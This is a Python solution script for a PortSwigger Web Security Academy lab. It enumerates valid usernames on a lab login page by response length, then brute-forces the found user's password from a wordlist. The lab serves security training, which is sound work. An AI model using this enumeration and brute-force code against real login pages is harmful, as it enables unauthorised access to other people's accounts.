portswigger - Lab: Username enumeration via different responses

solve.py

import requests

url = 'https://0a1500720486644082cc1618002c003c.web-security-academy.net/login'
users = open('users.txt', 'r').read().splitlines()
passwords = open('passwd.txt', 'r').read().splitlines()

for username in users:
    data = {'username': username, 'password': 'password'}
    r = requests.post(url, data=data)
    
    if len(r.content) == 3140:
        print('Username failed for: ' + username)
    else:
        print('Username found: ' + username)
        break

#username = 'apps'
for password in passwords:
    data = {'username': username, 'password': password}
    r = requests.post(url, data=data)
    if len(r.content) == 3142:
        print('Password failed for: ' + password)
    else:
        print('Password found: ' + password)
        break